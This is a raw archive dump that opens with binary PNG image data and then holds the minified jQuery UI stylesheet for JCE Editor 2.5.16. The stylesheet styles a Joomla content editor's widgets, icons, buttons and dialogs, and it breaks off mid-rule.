�AgR?��{0Z�>�sTs���{��i��#5y��l<��8�3���������K3�k>�׉:��T|�oO$�R�Й�pVW���RD�u���<)qX||���2 �Kz
>�̝;��ޏ�6|�ްaCZ�^`�Hų`����P�z�^��4jYU����EUy����j���|�~����z�Om����t���.{?��>���e�{-|�����\����׀��~z�M5����Ĉ� $��Y���m;>z��=`�}1Ø7&�����s^u��S���֝#A�\�@�K-O�9bHٟ6���V6�[���
?Xn%���e�k���-f&r�#���x���}��Az��—�j�6A�~�����l|�	щ�%��U9�@�KV�|+z��o]��;��a=y5�|-��7�k��E?YvS
�tĶ�Ĉ��Ts?t`�=�ô�fjfWĶ�@�_���!�L�2B�I��o�����>0�#?�<	�ɩ+2��PZR�z˦?�c#�|ŪǾ|h�O�c[έQ�q��K���
�����1�U-O��V���B����ù6$ªd!Zx-�pɒ%�C�~��p��x����'���{nV?��j��@ހ�y��
��7 o@ހ�y��
��7 o@�\�`=�p�dIEND�B`�editor/libraries/jquery/css/jquery-ui.css000060400000113416150751770440014575 0ustar00/*JCE Editor - 2.5.16 | 08 April 2016 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2016 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/
.ui-jce .ui-helper-hidden{display:none;}.ui-jce .ui-helper-hidden-accessible{position:absolute!important;clip:rect(1px 1px 1px 1px);clip:rect(1px,1px,1px,1px);}.ui-jce .ui-helper-reset{margin:0;padding:0;border:0;outline:0;line-height:1.3;text-decoration:none;font-size:100%;list-style:none;}.ui-jce .ui-helper-clearfix:after{content:".";display:block;height:0;clear:both;visibility:hidden;}.ui-jce .ui-helper-clearfix{display:inline-block;}/* required comment for clearfix to work in Opera \*/ * html .ui-helper-clearfix{height:1%;}.ui-jce .ui-helper-clearfix{display:block;}/* end clearfix */ .ui-jce .ui-helper-zfix{width:100%;height:100%;top:0;left:0;position:absolute;opacity:0;filter:Alpha(Opacity=0);}.ui-jce .ui-state-disabled{cursor:default!important;}.ui-jce .ui-icon{display:block;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat;}.ui-jce .ui-widget-overlay{position:absolute;top:0;left:0;width:100%;height:100%;}.ui-jce .ui-widget{font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1em;}.ui-jce .ui-widget .ui-widget{font-size:1em;}.ui-jce .ui-widget input,.ui-jce .ui-widget select,.ui-jce .ui-widget textarea,.ui-jce .ui-widget button{font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1em;}.ui-jce .ui-widget-content{border:1px solid #B6B6B6;background:#fff;color:#2F2F2F;}.ui-jce .ui-widget-content a{color:#2F2F2F;}.ui-jce .ui-widget-header{border:1px solid #B6B6B6;color:#2F2F2F;font-weight:bold;}.ui-jce .ui-widget-header{background:url(images/header_bg.png) 0 0 repeat-x;background:-webkit-gradient(linear,left bottom,left top,color-stop(1,#ededed),color-stop(0,#c4c4c4));background:-moz-linear-gradient(center top,#ededed,#c4c4c4);background:-ms-linear-gradient(#ededed,#c4c4c4);background:linear-gradient(#ededed,#c4c4c4);}.ui-jce .ui-widget-header a{color:#4F4F4F;}.ui-jce .ui-state-default,.ui-jce .ui-widget-content .ui-state-default,.ui-jce .ui-widget-header .ui-state-default{border:1px solid #B6B6B6;font-weight:normal;color:#4F4F4F;}.ui-jce .ui-state-default,.ui-jce .ui-widget-content .ui-state-default,.ui-jce .ui-widget-header .ui-state-default{background:#ededed;-webkit-box-shadow:0 1px 0 rgba(255,255,255,0.6) inset;-moz-box-shadow:0 1px 0 rgba(255,255,255,0.6) inset;}.ui-jce .ui-state-default a,.ui-jce .ui-state-default a:link,.ui-jce .ui-state-default a:visited{color:#4F4F4F;text-decoration:none;}.ui-jce .ui-state-hover,.ui-jce .ui-widget-content .ui-state-hover,.ui-jce .ui-widget-header .ui-state-hover,.ui-jce .ui-state-focus,.ui-jce .ui-widget-content .ui-state-focus,.ui-jce .ui-widget-header .ui-state-focus{border:1px solid #9D9D9D;font-weight:normal;color:#313131;}.ui-jce .ui-state-hover a,.ui-jce .ui-state-hover a:hover{color:#313131;text-decoration:none;}.ui-jce .ui-state-active,.ui-jce .ui-widget-content .ui-state-active,.ui-jce .ui-widget-header .ui-state-active{outline:none;color:#1c4257;border:1px solid #7096ab;background:url(images/button_bg.png) 0 -24px repeat-x;background:-webkit-gradient(linear,left bottom,left top,color-stop(1,#b9e0f5),color-stop(0,#92bdd6));background:-moz-linear-gradient(center top,#b9e0f5,#92bdd6);background:-ms-linear-gradient(#b9e0f5,#92bdd6);background:linear-gradient(#b9e0f5,#92bdd6);-webkit-box-shadow:none;-moz-box-shadow:none;}.ui-jce .ui-state-active a,.ui-jce .ui-state-active a:link,.ui-jce .ui-state-active a:visited{color:#313131;text-decoration:none;}.ui-jce .ui-widget :active{outline:none;}.ui-jce .ui-state-highlight,.ui-jce .ui-widget-content .ui-state-highlight,.ui-jce .ui-widget-header .ui-state-highlight{border:1px solid #d2dbf4;background:#f4f8fd;color:#0d2054;-moz-border-radius:0!important;-webkit-border-radius:0!important;border-radius:0!important;}.ui-jce .ui-state-highlight a,.ui-jce .ui-widget-content .ui-state-highlight a,.ui-widget-header .ui-state-highlight a{color:#363636;}.ui-jce .ui-state-error,.ui-jce .ui-widget-content .ui-state-error,.ui-jce .ui-widget-header .ui-state-error{border:1px solid #e2d0d0;background:#fcf0f0;color:#280b0b;-moz-border-radius:0!important;-webkit-border-radius:0!important;border-radius:0!important;}.ui-jce .ui-state-error a,.ui-jce .ui-widget-content .ui-state-error a,.ui-jce .ui-widget-header .ui-state-error a{color:#cd0a0a;}.ui-jce .ui-state-error-text,.ui-jce .ui-widget-content .ui-state-error-text,.ui-jce .ui-widget-header .ui-state-error-text{color:#cd0a0a;}.ui-jce .ui-priority-primary,.ui-jce .ui-widget-content .ui-priority-primary,.ui-jce .ui-widget-header .ui-priority-primary{font-weight:bold;}.ui-jce .ui-priority-secondary,.ui-jce .ui-widget-content .ui-priority-secondary,.ui-widget-header .ui-priority-secondary{opacity:.7;filter:Alpha(Opacity=70);font-weight:normal;}.ui-jce .ui-state-disabled,.ui-jce .ui-widget-content .ui-state-disabled,.ui-jce .ui-widget-header .ui-state-disabled{opacity:.35;filter:Alpha(Opacity=35);background-image:none;}.ui-jce .ui-icon{width:16px;height:16px;background-image:url(images/ui-icons_222222_256x240.png);}.ui-jce .ui-widget-content .ui-icon{background-image:url(images/ui-icons_222222_256x240.png);}.ui-jce .ui-widget-header .ui-icon{background-image:url(images/ui-icons_222222_256x240.png);}.ui-jce .ui-state-default .ui-icon{background-image:url(images/ui-icons_454545_256x240.png);}.ui-jce .ui-state-hover .ui-icon,.ui-jce .ui-state-focus .ui-icon{background-image:url(images/ui-icons_454545_256x240.png);}.ui-jce .ui-state-active .ui-icon{background-image:url(images/ui-icons_454545_256x240.png);}.ui-jce .ui-state-highlight .ui-icon{background-image:url(images/ui-icons_454545_256x240.png);}.ui-jce .ui-state-error .ui-icon,.ui-jce .ui-state-error-text .ui-icon{background:url(images/icon_sprite.png) -16px 0 no-repeat!important;}.ui-jce .ui-state-highlight .ui-icon,.ui-jce .ui-state-error .ui-icon{margin-top:-1px;}.ui-jce .ui-icon-carat-1-n{background-position:0 0;}.ui-jce .ui-icon-carat-1-ne{background-position:-16px 0;}.ui-jce .ui-icon-carat-1-e{background-position:-32px 0;}.ui-jce .ui-icon-carat-1-se{background-position:-48px 0;}.ui-jce .ui-icon-carat-1-s{background-position:-64px 0;}.ui-jce .ui-icon-carat-1-sw{background-position:-80px 0;}.ui-jce .ui-icon-carat-1-w{background-position:-96px 0;}.ui-jce .ui-icon-carat-1-nw{background-position:-112px 0;}.ui-jce .ui-icon-carat-2-n-s{background-position:-128px 0;}.ui-jce .ui-icon-carat-2-e-w{background-position:-144px 0;}.ui-jce .ui-icon-triangle-1-n{background-position:0 -16px;}.ui-jce .ui-icon-triangle-1-ne{background-position:-16px -16px;}.ui-jce .ui-icon-triangle-1-e{background-position:-32px -16px;}.ui-jce .ui-icon-triangle-1-se{background-position:-48px -16px;}.ui-jce .ui-icon-triangle-1-s{background-position:-64px -16px;}.ui-jce .ui-icon-triangle-1-sw{background-position:-80px -16px;}.ui-jce .ui-icon-triangle-1-w{background-position:-96px -16px;}.ui-jce .ui-icon-triangle-1-nw{background-position:-112px -16px;}.ui-jce .ui-icon-triangle-2-n-s{background-position:-128px -16px;}.ui-jce .ui-icon-triangle-2-e-w{background-position:-144px -16px;}.ui-jce .ui-icon-arrow-1-n{background-position:0 -32px;}.ui-jce .ui-icon-arrow-1-ne{background-position:-16px -32px;}.ui-jce .ui-icon-arrow-1-e{background-position:-32px -32px;}.ui-jce .ui-icon-arrow-1-se{background-position:-48px -32px;}.ui-jce .ui-icon-arrow-1-s{background-position:-64px -32px;}.ui-jce .ui-icon-arrow-1-sw{background-position:-80px -32px;}.ui-jce .ui-icon-arrow-1-w{background-position:-96px -32px;}.ui-jce .ui-icon-arrow-1-nw{background-position:-112px -32px;}.ui-jce .ui-icon-arrow-2-n-s{background-position:-128px -32px;}.ui-jce .ui-icon-arrow-2-ne-sw{background-position:-144px -32px;}.ui-jce .ui-icon-arrow-2-e-w{background-position:-160px -32px;}.ui-jce .ui-icon-arrow-2-se-nw{background-position:-176px -32px;}.ui-jce .ui-icon-arrowstop-1-n{background-position:-192px -32px;}.ui-jce .ui-icon-arrowstop-1-e{background-position:-208px -32px;}.ui-jce .ui-icon-arrowstop-1-s{background-position:-224px -32px;}.ui-jce .ui-icon-arrowstop-1-w{background-position:-240px -32px;}.ui-jce .ui-icon-arrowthick-1-n{background-position:0 -48px;}.ui-jce .ui-icon-arrowthick-1-ne{background-position:-16px -48px;}.ui-jce .ui-icon-arrowthick-1-e{background-position:-32px -48px;}.ui-jce .ui-icon-arrowthick-1-se{background-position:-48px -48px;}.ui-jce .ui-icon-arrowthick-1-s{background-position:-64px -48px;}.ui-jce .ui-icon-arrowthick-1-sw{background-position:-80px -48px;}.ui-jce .ui-icon-arrowthick-1-w{background-position:-96px -48px;}.ui-jce .ui-icon-arrowthick-1-nw{background-position:-112px -48px;}.ui-jce .ui-icon-arrowthick-2-n-s{background-position:-128px -48px;}.ui-jce .ui-icon-arrowthick-2-ne-sw{background-position:-144px -48px;}.ui-jce .ui-icon-arrowthick-2-e-w{background-position:-160px -48px;}.ui-jce .ui-icon-arrowthick-2-se-nw{background-position:-176px -48px;}.ui-jce .ui-icon-arrowthickstop-1-n{background-position:-192px -48px;}.ui-jce .ui-icon-arrowthickstop-1-e{background-position:-208px -48px;}.ui-jce .ui-icon-arrowthickstop-1-s{background-position:-224px -48px;}.ui-jce .ui-icon-arrowthickstop-1-w{background-position:-240px -48px;}.ui-jce .ui-icon-arrowreturnthick-1-w{background-position:0 -64px;}.ui-jce .ui-icon-arrowreturnthick-1-n{background-position:-16px -64px;}.ui-jce .ui-icon-arrowreturnthick-1-e{background-position:-32px -64px;}.ui-jce .ui-icon-arrowreturnthick-1-s{background-position:-48px -64px;}.ui-jce .ui-icon-arrowreturn-1-w{background-position:-64px -64px;}.ui-jce .ui-icon-arrowreturn-1-n{background-position:-80px -64px;}.ui-jce .ui-icon-arrowreturn-1-e{background-position:-96px -64px;}.ui-jce .ui-icon-arrowreturn-1-s{background-position:-112px -64px;}.ui-jce .ui-icon-arrowrefresh-1-w{background-position:-128px -64px;}.ui-jce .ui-icon-arrowrefresh-1-n{background-position:-144px -64px;}.ui-jce .ui-icon-arrowrefresh-1-e{background-position:-160px -64px;}.ui-jce .ui-icon-arrowrefresh-1-s{background-position:-176px -64px;}.ui-jce .ui-icon-arrow-4{background-position:0 -80px;}.ui-jce .ui-icon-arrow-4-diag{background-position:-16px -80px;}.ui-jce .ui-icon-extlink{background-position:-32px -80px;}.ui-jce .ui-icon-newwin{background-position:-48px -80px;}.ui-jce .ui-icon-refresh{background-position:-64px -80px;}.ui-jce .ui-icon-shuffle{background-position:-80px -80px;}.ui-jce .ui-icon-transfer-e-w{background-position:-96px -80px;}.ui-jce .ui-icon-transferthick-e-w{background-position:-112px -80px;}.ui-jce .ui-icon-folder-collapsed{background-position:0 -96px;}.ui-jce .ui-icon-folder-open{background-position:-16px -96px;}.ui-jce .ui-icon-document{background-position:-32px -96px;}.ui-jce .ui-icon-document-b{background-position:-48px -96px;}.ui-jce .ui-icon-note{background-position:-64px -96px;}.ui-jce .ui-icon-mail-closed{background-position:-80px -96px;}.ui-jce .ui-icon-mail-open{background-position:-96px -96px;}.ui-jce .ui-icon-suitcase{background-position:-112px -96px;}.ui-jce .ui-icon-comment{background-position:-128px -96px;}.ui-jce .ui-icon-person{background-position:-144px -96px;}.ui-jce .ui-icon-print{background-position:-160px -96px;}.ui-jce .ui-icon-trash{background-position:-176px -96px;}.ui-jce .ui-icon-locked{background-position:-192px -96px;}.ui-jce .ui-icon-unlocked{background-position:-208px -96px;}.ui-jce .ui-icon-bookmark{background-position:-224px -96px;}.ui-jce .ui-icon-tag{background-position:-240px -96px;}.ui-jce .ui-icon-home{background-position:0 -112px;}.ui-jce .ui-icon-flag{background-position:-16px -112px;}.ui-jce .ui-icon-calendar{background-position:-32px -112px;}.ui-jce .ui-icon-cart{background-position:-48px -112px;}.ui-jce .ui-icon-pencil{background-position:-64px -112px;}.ui-jce .ui-icon-clock{background-position:-80px -112px;}.ui-jce .ui-icon-disk{background-position:-96px -112px;}.ui-jce .ui-icon-calculator{background-position:-112px -112px;}.ui-jce .ui-icon-zoomin{background-position:-128px -112px;}.ui-jce .ui-icon-zoomout{background-position:-144px -112px;}.ui-jce .ui-icon-search{background-position:-160px -112px;}.ui-jce .ui-icon-wrench{background-position:-176px -112px;}.ui-jce .ui-icon-gear{background-position:-192px -112px;}.ui-jce .ui-icon-heart{background-position:-208px -112px;}.ui-jce .ui-icon-star{background-position:-224px -112px;}.ui-jce .ui-icon-link{background-position:-240px -112px;}.ui-jce .ui-icon-cancel{background-position:0 -128px;}.ui-jce .ui-icon-plus{background-position:-16px -128px;}.ui-jce .ui-icon-plusthick{background-position:-32px -128px;}.ui-jce .ui-icon-minus{background-position:-48px -128px;}.ui-jce .ui-icon-minusthick{background-position:-64px -128px;}.ui-jce .ui-icon-close{background-position:-80px -128px;}.ui-jce .ui-icon-closethick{background-position:-96px -128px;}.ui-jce .ui-icon-key{background-position:-112px -128px;}.ui-jce .ui-icon-lightbulb{background-position:-128px -128px;}.ui-jce .ui-icon-scissors{background-position:-144px -128px;}.ui-jce .ui-icon-clipboard{background-position:-160px -128px;}.ui-jce .ui-icon-copy{background-position:-176px -128px;}.ui-jce .ui-icon-contact{background-position:-192px -128px;}.ui-jce .ui-icon-image{background-position:-208px -128px;}.ui-jce .ui-icon-video{background-position:-224px -128px;}.ui-jce .ui-icon-script{background-position:-240px -128px;}.ui-jce .ui-icon-alert{background-position:0 -144px;}.ui-jce .ui-icon-info{background:url(images/icon_sprite.png) 0 0 no-repeat!important;}.ui-jce .ui-icon-notice{background-position:-32px -144px;}.ui-jce .ui-icon-help{background-position:-48px -144px;}.ui-jce .ui-icon-check{background-position:-64px -144px;}.ui-jce .ui-icon-bullet{background-position:-80px -144px;}.ui-jce .ui-icon-radio-off{background-position:-96px -144px;}.ui-jce .ui-icon-radio-on{background-position:-112px -144px;}.ui-jce .ui-icon-pin-w{background-position:-128px -144px;}.ui-jce .ui-icon-pin-s{background-position:-144px -144px;}.ui-jce .ui-icon-play{background-position:0 -160px;}.ui-jce .ui-icon-pause{background-position:-16px -160px;}.ui-jce .ui-icon-seek-next{background-position:-32px -160px;}.ui-jce .ui-icon-seek-prev{background-position:-48px -160px;}.ui-jce .ui-icon-seek-end{background-position:-64px -160px;}.ui-jce .ui-icon-seek-start{background-position:-80px -160px;}.ui-jce .ui-icon-seek-first{background-position:-80px -160px;}.ui-jce .ui-icon-stop{background-position:-96px -160px;}.ui-jce .ui-icon-eject{background-position:-112px -160px;}.ui-jce .ui-icon-volume-off{background-position:-128px -160px;}.ui-jce .ui-icon-volume-on{background-position:-144px -160px;}.ui-jce .ui-icon-power{background-position:0 -176px;}.ui-jce .ui-icon-signal-diag{background-position:-16px -176px;}.ui-jce .ui-icon-signal{background-position:-32px -176px;}.ui-jce .ui-icon-battery-0{background-position:-48px -176px;}.ui-jce .ui-icon-battery-1{background-position:-64px -176px;}.ui-jce .ui-icon-battery-2{background-position:-80px -176px;}.ui-jce .ui-icon-battery-3{background-position:-96px -176px;}.ui-jce .ui-icon-circle-plus{background-position:0 -192px;}.ui-jce .ui-icon-circle-minus{background-position:-16px -192px;}.ui-jce .ui-icon-circle-close{background-position:-32px -192px;}.ui-jce .ui-icon-circle-triangle-e{background-position:-48px -192px;}.ui-jce .ui-icon-circle-triangle-s{background-position:-64px -192px;}.ui-jce .ui-icon-circle-triangle-w{background-position:-80px -192px;}.ui-jce .ui-icon-circle-triangle-n{background-position:-96px -192px;}.ui-jce .ui-icon-circle-arrow-e{background-position:-112px -192px;}.ui-jce .ui-icon-circle-arrow-s{background-position:-128px -192px;}.ui-jce .ui-icon-circle-arrow-w{background-position:-144px -192px;}.ui-jce .ui-icon-circle-arrow-n{background-position:-160px -192px;}.ui-jce .ui-icon-circle-zoomin{background-position:-176px -192px;}.ui-jce .ui-icon-circle-zoomout{background-position:-192px -192px;}.ui-jce .ui-icon-circle-check{background-position:-208px -192px;}.ui-jce .ui-icon-circlesmall-plus{background-position:0 -208px;}.ui-jce .ui-icon-circlesmall-minus{background-position:-16px -208px;}.ui-jce .ui-icon-circlesmall-close{background-position:-32px -208px;}.ui-jce .ui-icon-squaresmall-plus{background-position:-48px -208px;}.ui-jce .ui-icon-squaresmall-minus{background-position:-64px -208px;}.ui-jce .ui-icon-squaresmall-close{background-position:-80px -208px;}.ui-jce .ui-icon-grip-dotted-vertical{background-position:0 -224px;}.ui-jce .ui-icon-grip-dotted-horizontal{background-position:-16px -224px;}.ui-jce .ui-icon-grip-solid-vertical{background-position:-32px -224px;}.ui-jce .ui-icon-grip-solid-horizontal{background-position:-48px -224px;}.ui-jce .ui-icon-gripsmall-diagonal-se{background-position:-64px -224px;}.ui-jce .ui-icon-grip-diagonal-se{background-position:-80px -224px;}.ui-jce .ui-corner-tl{-moz-border-radius-topleft:3px;-webkit-border-top-left-radius:3px;border-top-left-radius:3px;}.ui-jce .ui-corner-tr{-moz-border-radius-topright:3px;-webkit-border-top-right-radius:3px;border-top-right-radius:3px;}.ui-jce .ui-corner-bl{-moz-border-radius-bottomleft:3px;-webkit-border-bottom-left-radius:3px;border-bottom-left-radius:3px;}.ui-jce .ui-corner-br{-moz-border-radius-bottomright:3px;-webkit-border-bottom-right-radius:3px;border-bottom-right-radius:3px;}.ui-jce .ui-corner-top{-moz-border-radius-topleft:3px;-webkit-border-top-left-radius:3px;border-top-left-radius:3px;-moz-border-radius-topright:3px;-webkit-border-top-right-radius:3px;border-top-right-radius:3px;}.ui-jce .ui-corner-bottom{-moz-border-radius-bottomleft:3px;-webkit-border-bottom-left-radius:3px;border-bottom-left-radius:3px;-moz-border-radius-bottomright:3px;-webkit-border-bottom-right-radius:3px;border-bottom-right-radius:3px;}.ui-jce .ui-corner-right{-moz-border-radius-topright:3px;-webkit-border-top-right-radius:3px;border-top-right-radius:3px;-moz-border-radius-bottomright:3px;-webkit-border-bottom-right-radius:3px;border-bottom-right-radius:3px;}.ui-jce .ui-corner-left{-moz-border-radius-topleft:3px;-webkit-border-top-left-radius:3px;border-top-left-radius:3px;-moz-border-radius-bottomleft:3px;-webkit-border-bottom-left-radius:3px;border-bottom-left-radius:3px;}.ui-jce .ui-corner-all{-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;}.ui-jce .ui-widget-overlay{background:#262b33;opacity:.70;filter:Alpha(Opacity=70);z-index:999;}.ui-jce .ui-widget-shadow{margin:-8px 0 0 -8px;padding:8px;background:#000;opacity:.30;filter:Alpha(Opacity=30);-moz-border-radius:8px;-webkit-border-radius:8px;border-radius:8px;}.ui-jce .ui-resizable{position:relative;}.ui-jce .ui-resizable-handle{position:absolute;font-size:.1px;z-index:99999;display:block;}.ui-jce .ui-resizable-disabled .ui-resizable-handle,.ui-jce .ui-resizable-autohide .ui-resizable-handle{display:none;}.ui-jce .ui-resizable-n{cursor:n-resize;height:7px;width:100%;top:-5px;left:0;}.ui-jce .ui-resizable-s{cursor:s-resize;height:7px;width:100%;bottom:-5px;left:0;}.ui-jce .ui-resizable-e{cursor:e-resize;width:7px;right:-5px;top:0;height:100%;}.ui-jce .ui-resizable-w{cursor:w-resize;width:7px;left:-5px;top:0;height:100%;}.ui-jce .ui-resizable-se{cursor:se-resize;width:12px;height:12px;right:1px;bottom:1px;}.ui-jce .ui-resizable-sw{cursor:sw-resize;width:9px;height:9px;left:-5px;bottom:-5px;}.ui-jce .ui-resizable-nw{cursor:nw-resize;width:9px;height:9px;left:-5px;top:-5px;}.ui-jce .ui-resizable-ne{cursor:ne-resize;width:9px;height:9px;right:-5px;top:-5px;}.ui-jce .ui-selectable-helper{position:absolute;z-index:100;border:1px dotted black;}.ui-jce .ui-accordion{width:100%;}.ui-jce .ui-accordion .ui-accordion-header{cursor:pointer;position:relative;margin-top:1px;zoom:1;}.ui-jce .ui-accordion .ui-accordion-header,.ui-jce .ui-accordion .ui-accordion-content{-moz-border-radius:0;-webkit-border-radius:0;border-radius:0;}.ui-jce .ui-accordion .ui-accordion-li-fix{display:inline;}.ui-jce .ui-accordion .ui-accordion-header-active{border-bottom:0!important;}.ui-jce .ui-accordion .ui-accordion-header a{display:block;font-size:12px;font-weight:bold;padding:.4em .4em .4em 2em;}.ui-jce .ui-accordion-icons .ui-accordion-header a{padding-left:2.2em;}.ui-jce .ui-accordion .ui-accordion-header .ui-icon{position:absolute;left:.4em;top:50%;margin-top:-8px;}.ui-jce .ui-accordion .ui-accordion-content{padding:1em 2.2em;border-top:0;margin-top:-2px;position:relative;top:1px;margin-bottom:2px;overflow:auto;display:none;zoom:1;}.ui-jce .ui-accordion .ui-accordion-content-active{display:block;}.ui-jce .ui-autocomplete{position:absolute;cursor:default;z-index:3!important;-moz-border-radius:0;-webkit-border-radius:0;border-radius:0;-moz-box-shadow:0 1px 5px rgba(0,0,0,0.3);-webkit-box-shadow:0 1px 5px rgba(0,0,0,0.3);}* html .ui-autocomplete{width:1px;}.ui-jce .ui-menu{list-style:none;padding:2px;margin:0;display:block;float:left;}.ui-jce .ui-menu .ui-menu{margin-top:-3px;}.ui-jce .ui-menu .ui-menu-item{margin:0;padding:0;zoom:1;float:left;clear:left;width:100%;}.ui-jce .ui-menu .ui-menu-item a{text-decoration:none;display:block;padding:.2em .3em;line-height:1.5;zoom:1;}.ui-jce .ui-menu .ui-menu-item a.ui-state-hover,.ui-jce .ui-menu .ui-menu-item a.ui-state-active{font-weight:normal;margin:-1px;background:#5f83b9;color:#FFF;text-shadow:0 1px 1px #234386;border-color:#466086;-moz-border-radius:0;-webkit-border-radius:0;border-radius:0;}.ui-jce .ui-button{display:inline-block;position:relative;padding:0;margin-right:.1em;text-decoration:none!important;cursor:pointer;text-align:center;zoom:1;overflow:visible;-webkit-user-select:none;-moz-user-select:none;user-select:none;}.ui-jce .ui-button-icon-only{width:2.2em;}button.ui-button-icon-only{width:2.3em;}.ui-jce .ui-button-icons-only{width:3.3em;}button.ui-button-icons-only{width:3.7em;}.ui-jce .ui-dialog-buttonset .ui-button,.ui-jce .ui-button{background:#ededed none;-webkit-border-radius:2px 2px;border:solid 1px #999;-moz-border-radius:2px 2px;border-radius:2px 2px;background:-webkit-gradient(linear,0% 0,0% 100%,from(#fff),to(#ededed));background:-moz-linear-gradient(center top,#fff,#ededed);background:-ms-linear-gradient(#fff,#ededed);background:linear-gradient(#fff,#ededed);color:#333;text-decoration:none;cursor:pointer;display:inline-block;text-align:center;text-shadow:0 1px 1px rgba(255,255,255,1);line-height:1;}.ui-jce .ui-button.ui-state-hover{-moz-box-shadow:0 0 8px rgba(0,0,0,0.15),0 1px 0 rgba(255,255,255,0.8) inset;-webkit-box-shadow:0 0 8px rgba(0,0,0,0.15),0 1px 0 rgba(255,255,255,0.8) inset;border-color:#7096ab;}.ui-jce .ui-button.ui-state-focus{outline:none;color:#1c4257;border-color:#7096ab;background:-webkit-gradient(linear,0% 0,0% 100%,from(#fff),to(#92bdd6));background:-moz-linear-gradient(center top,#fff,#92bdd6);background:-ms-linear-gradient(#fff,#92bdd6);background:linear-gradient(#fff,#92bdd6);-webkit-box-shadow:none;-moz-box-shadow:none;}.ui-jce .ui-button .ui-button-text{display:block;line-height:1.4;font-size:11px;font-weight:bold;text-shadow:0 1px 0 rgba(255,255,255,0.6);}.ui-jce .ui-button-text-only .ui-button-text{padding:.4em 1em;}.ui-jce .ui-button-icon-only .ui-button-text,.ui-jce .ui-button-icons-only .ui-button-text{padding:.2em;text-indent:-9999999px;}.ui-jce .ui-button-text-icon-primary .ui-button-text,.ui-jce .ui-button-text-icons .ui-button-text{padding:.4em 1em .4em 2.1em;}.ui-jce .ui-button-text-icon-secondary .ui-button-text,.ui-jce .ui-button-text-icons .ui-button-text{padding:.4em 2.1em .4em 1em;}.ui-jce .ui-button-text-icons .ui-button-text{padding-left:2.1em;padding-right:2.1em;}input.ui-button{padding:.4em 1em;}.ui-jce .ui-button-icon-only .ui-icon,.ui-jce .ui-button-text-icon-primary .ui-icon,.ui-jce .ui-button-text-icon-secondary .ui-icon,.ui-jce .ui-button-text-icons .ui-icon,.ui-jce .ui-button-icons-only .ui-icon{position:absolute;top:50%;margin-top:-8px;}.ui-jce .ui-button-icon-only .ui-icon{left:50%;margin-left:-8px;}.ui-jce .ui-button-text-icon-primary .ui-button-icon-primary,.ui-jce .ui-button-text-icons .ui-button-icon-primary,.ui-jce .ui-button-icons-only .ui-button-icon-primary{left:.4em;}.ui-jce .ui-button-text-icon-secondary .ui-button-icon-secondary,.ui-jce .ui-button-text-icons .ui-button-icon-secondary,.ui-jce .ui-button-icons-only .ui-button-icon-secondary{right:.4em;}.ui-jce .ui-button-text-icons .ui-button-icon-secondary,.ui-jce .ui-button-icons-only .ui-button-icon-secondary{right:.4em;}.ui-jce .ui-buttonset{margin-right:7px;}.ui-jce .ui-buttonset .ui-button{margin-left:0;margin-right:-.3em;}.ui-jce .ui-buttonset .ui-button.ui-state-active{color:#1c4257;border-color:#7096ab;}.ui-jce .ui-buttonset .ui-button.ui-state-active{background-image:-webkit-gradient(linear,left bottom,left top,color-stop(1,#b9e0f5),color-stop(0,#92bdd6));background-image:-moz-linear-gradient(center top,#b9e0f5,#92bdd6);-webkit-box-shadow:none;-moz-box-shadow:none;}button.ui-button::-moz-focus-inner{border:0;padding:0;}.ui-jce .ui-dialog{position:absolute;padding:0;width:300px;overflow:hidden;z-index:1000;}.ui-jce .ui-dialog{-webkit-box-shadow:0 2px 12px rgba(0,0,0,0.6);-moz-box-shadow:0 2px 12px rgba(0,0,0,0.6);}.ui-jce .ui-dialog .ui-dialog-titlebar{padding:.7em 1em;position:relative;border:none;border-bottom:1px solid #979797;-moz-border-radius:0;-webkit-border-radius:0;border-radius:0;}.ui-jce .ui-dialog .ui-dialog-title{float:left;margin:.1em 16px .2em 0;font-size:12px;text-shadow:0 1px 0 rgba(255,255,255,0.5);}.ui-jce .ui-dialog .ui-dialog-titlebar-close{position:absolute;right:.8em;top:60%;width:16px;margin:-10px 0 0 0;padding:0;height:16px;}.ui-jce .ui-dialog .ui-dialog-titlebar-close span.ui-icon.ui-icon-closethick{display:block;background:url(images/icon_sprite.png) 0 -16px no-repeat;}.ui-jce .ui-dialog .ui-dialog-titlebar-close:hover span.ui-icon.ui-icon-closethick{background-position:-16px -16px;}.ui-jce .ui-dialog .ui-dialog-titlebar-close{background:transparent none;border:0 none;}.ui-jce .ui-dialog .ui-dialog-titlebar-close:hover,.ui-jce .ui-dialog .ui-dialog-titlebar-close:focus{padding:0;border:0;}.ui-jce .ui-dialog .ui-dialog-content{position:relative;border:0;padding:.4em;background:none;overflow:auto;zoom:1;}.ui-jce .ui-dialog .ui-dialog-buttonpane{text-align:left;border-width:1px 0 0 0;background-image:none;margin:.4em 0 0 0;padding:.3em 1em .4em .3em;}.ui-jce .ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset{float:right;}.ui-jce .ui-dialog .ui-dialog-buttonpane button{margin:.4em .3em .4em 0;cursor:pointer;}.ui-jce .ui-dialog .ui-resizable-se{width:14px;height:14px;right:3px;bottom:3px;}.ui-jce .ui-draggable .ui-dialog-titlebar{cursor:move;}.ui-jce .ui-slider{position:relative;text-align:left;background:#d7d7d7;}.ui-jce .ui-slider{-moz-box-shadow:0 1px 2px rgba(0,0,0,0.5) inset;-webkit-box-shadow:0 1px 2px rgba(0,0,0,0.5) inset;}.ui-jce .ui-slider .ui-slider-handle{background:url(images/slider_handles.png) 0 0 no-repeat;position:absolute;z-index:2;width:16px;height:16px;cursor:pointer;border:none;outline:none;-moz-box-shadow:none;-webkit-box-shadow:none;}.ui-jce .ui-slider .ui-state-hover,.ui-jce .ui-slider .ui-state-active{background-position:0 -16px;}.ui-jce .ui-slider .ui-slider-range{background:#a3cae0;position:absolute;z-index:1;font-size:.7em;display:block;border:0;background-position:0 0;}.ui-jce .ui-slider .ui-slider-range{-moz-box-shadow:0 1px 2px rgba(17,35,45,0.6) inset;-webkit-box-shadow:0 1px 2px rgba(17,35,45,0.6) inset;}.ui-jce .ui-slider-horizontal{height:2px;}.ui-jce .ui-slider-horizontal .ui-slider-handle{top:-7px;margin-left:-8px;}.ui-jce .ui-slider-horizontal .ui-slider-range{top:0;height:100%;}.ui-jce .ui-slider-horizontal .ui-slider-range-min{left:0;}.ui-jce .ui-slider-horizontal 